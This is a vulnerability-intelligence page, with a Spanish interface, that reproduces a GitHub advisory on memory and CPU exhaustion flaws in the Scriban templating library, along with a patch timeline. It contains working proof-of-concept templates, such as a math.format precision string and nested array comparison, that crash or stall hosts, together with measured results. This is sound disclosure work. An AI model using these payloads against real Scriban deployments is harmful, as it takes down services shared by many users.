llamaCVEVulnerability Intelligence
/
Advisory · GitHub · NuGet · Scriban

GHSA-95W2-9MJQ-6C74

Memory and CPU exhaustion under default limits: string builtins skip the LimitToString allocation guard, and array comparison / BigInteger multiply / function recursion escape LoopLimit and CancellationToken

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición28 dDesde la divulgación, 24 oct 2026, 4:12 a. m.
Detección26 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Revisa si tu versión cae en el rango. Te espero.Agéndala y deja de pensar en ella.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.3
Monitoreo
Detectada +1
24 oct 26
20 nov 26
21 nov 26
24 oct 26
31 oct 26
7 nov 26
14 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-95W2-9MJQ-6C74 divulgada · CVSS 7.5 (GitHub)
Remediación Parche 7.5.3 Scriban · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Severity: High — CVSS 3.1 7.5 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- AV:N / PR:N / UI:N / AC:L: a template under 100 characters, default `TemplateContext`, nothing exposed by the host.
- A:H: 1–21 GB allocations (OOM kill in a container, GC thrash for every co-hosted tenant in-process), and single statements that run for hours and ignore the `CancellationToken` that the docs list as the CPU-time control.
- Matches the scoring of the earlier advisories in this family (GHSA-c875-h985-hvrc, GHSA-v66j-x4hw-fv9g, GHSA-89cf-6hmv-8rxm).

Packages: NuGet `Scriban`, `Scriban.Signed`
Affected versions: <= 7.5.2 (verified on 7.5.1 = master `eb8d441`). Earlier versions not checked.
Patched versions: 7.5.3

Description

The safe-runtime docs say `LimitToString` is "also used by allocation guards in string-producing operations … Allocation guards in builtins and string multiplication still throw regardless", and that `LoopLimit` covers "internal array/range work" while `CancellationToken` lets rendering be cancelled. Only `string.append/prepend/replace/replace_first/pad_left/pad_right`, `array.join` and string `*` actually have a guard. The paths below are unguarded.

Memory

| Builtin | Root cause | Template (ctx below) | Observed (baseline peak WS 33 MB) |
|---|---|---|---|
| `math.format`, `object.format` | .NET precision specifier passed through (`Functions/MathFunctions.cs` ~L188, `ObjectFunctions.cs` ~L183) | `{{ x = 1.5 \| math.format 'F999999999'; x \| string.size }}` | `1000000001`, peak WS 5897 MB in 1.1 s; `'D999999999'` → 1940 MB |
| `regex.replace` | no guard at all (`Functions/RegexFunctions.cs` ~L157) | `{{ s = 'a' * 1000; r = 'b' * 500000; x = regex.replace s 'a' r; x \| string.size }}` | `500000000`, peak WS 991 MB |
| `regex.replace` with `$0` | same | `{{ s = 'a' * 1000000; r = '$0' * 300000; x = regex.replace s '.' r; x \| string.size }}` | peak WS 21344 MB before `RegexTimeOut` fired at 19.5 s |
| `string.escape` | doubles `\`, no guard (`StringFunctions.cs` ~L53) | see below | `512000000`, peak WS 2727 MB, 1.6 s |
| `regex.escape` | same doubling (`RegexFunctions.cs` ~L44) | see below, with `regex.escape` | `512000000`, peak WS 3934 MB, 10 s |
| `string.replace` | guard runs after building the result (`StringFunctions.cs` ~L566) | `{{ s = 'a' * 1000; r = 'b' * 500000; x = s \| string.replace 'a' r; 'done' }}` | throws "exceeds LimitToString", but only after peak WS 989 MB |
| `date.to_string` | no guard (`DateTimeFunctions.cs` ~L545-575) | `{{ x = date.now \| date.to_string ('%c' * 300000); x \| string.size }}` | 7,200,000 chars (~7× LimitToString), 68 MB — bounded |

{{ s = "\\" * 1000000
for i in 1..9
  s = s | string.escape
end
s | string.size }}

Loop-growth variants also exceed the limit: `{{ s = 'a'; for i in 1..25; s = s | regex.replace 'a' 'aa'; end; s | string.size }}` → `33554432` (the same loop with `string.replace` correctly throws).

Related, bounded: `string.split` / `regex.split` materialise up to ~LimitToString elements per call without `LoopLimit` accounting (`{{ s = 'a,' * 500000; s | string.split ',' | array.size }}` → `500000`, 61 MB). Later iteration is limited, so this is listed for completeness.

CPU (not stopped by LoopLimit or CancellationToken)
  1. Shared-structure array comparison is exponential. `ScriptArray.CompareTo` (`src/Scriban/Runtime/ScriptArray.cs` ~L647-653) calls neither `StepLoop` nor `CheckAbort`. Arrays built with sharing take linear work to build but 2^depth to compare:
  2. **BigInteger `*` has no magnitude cap.** `<<`/`>>` are capped at `MaxBigIntegerShift` (1M bits) and `^` uses `ModPow` with a 2^1M modulus, but multiplication (`Syntax/Expressions/ScriptBinaryExpression.cs` ~L822-823, `CalculateBigIntegerNoFit`; long×long routes there via ~L799) is uncapped, so repeated squaring bypasses the existing growth guard:
  3. Exponential user-function recursion. Calls count only against `RecursiveLimit` (depth; `TemplateContext.cs` ~L1105), not `LoopLimit`:

Also relevant (reported separately): `html.strip` (`HtmlFunctions.cs` ~L25) backtracks exponentially on `'<' + '=a' * 22` (~10 s until `RegexTimeOut`, per call, repeatable up to `LoopLimit` times). This is the pattern of issue #406, closed as won't-fix with a documentation note; listed here only because it multiplies with `LoopLimit` under defaults.

Proof of concept

Host for every template above (defaults, nothing exposed):

using Scriban;
using Scriban.Runtime;

var ctx = new TemplateContext();
ctx.PushGlobal(new ScriptObject());
// for the "cancel" runs: ctx.CancellationToken = new CancellationTokenSource(2000).Token;
var result = Template.Parse(text).Render(ctx);

Minimal memory PoC (under 60 characters, ~6 GB): `{{ x = 1.5 | math.format 'F999999999'; x | string.size }}`
Minimal CPU PoC (not cancellable): `{{ a = [1]; b = [1]; for i in 1..40; a = [a, a]; b = [b, b]; end; a == b }}`

Measured on .NET 10.0.13, Windows x64, each case in its own process.

Impact

A single small template from an untrusted author exhausts host memory or pins a CPU core indefinitely, under the default limits and even with the documented `CancellationToken` mitigation in place. In shared or multi-tenant hosts this degrades or kills service for all users.

Suggested remediation

  • Pre-allocation size checks in every string-producing builtin, raising the existing "exceeds LimitToString" error *before* allocating: precision digits for `math.format`/`object.format`; a length-tracking `MatchEvaluator` for `regex.replace` (covers `$0`/group expansion); `input.Length * 2` for `regex.escape`; escaped-length pre-count for `string.escape`; match count × length delta for `string.replace` (move the existing check before the build); running length in `date.to_string`. A generic post-call length check on `string` results of builtins would catch future misses, but not the pre-allocation spikes.
  • Step accounting: call `StepLoop`/`CheckAbort` per element in `ScriptArray.CompareTo`; cap BigInteger `*` (and `+`/`-`) results at the same bound as shift/power; charge function calls to the loop budget (or document that a `CancellationToken` is required for untrusted templates); check the token periodically inside expression evaluation, not only between statements.
  • Optionally charge `string.split`/`regex.split` result elements to `LoopLimit`.

---
🤖 Generated with Claude Code https://claude.com/claude-code

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
Scriban · Scriban.Signed≤ 7.5.2
7.5.2
7.6.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
nugetScriban
Corregida 7.5.3 0 d 7.6.1 no afectada
nugetScriban.Signed
Corregida 7.5.3 0 d 7.6.1 no afectada
Versiones corregidas7.5.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/scriban/scriban/security/advisories/GHSA-95w2-9mjq-6c74

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.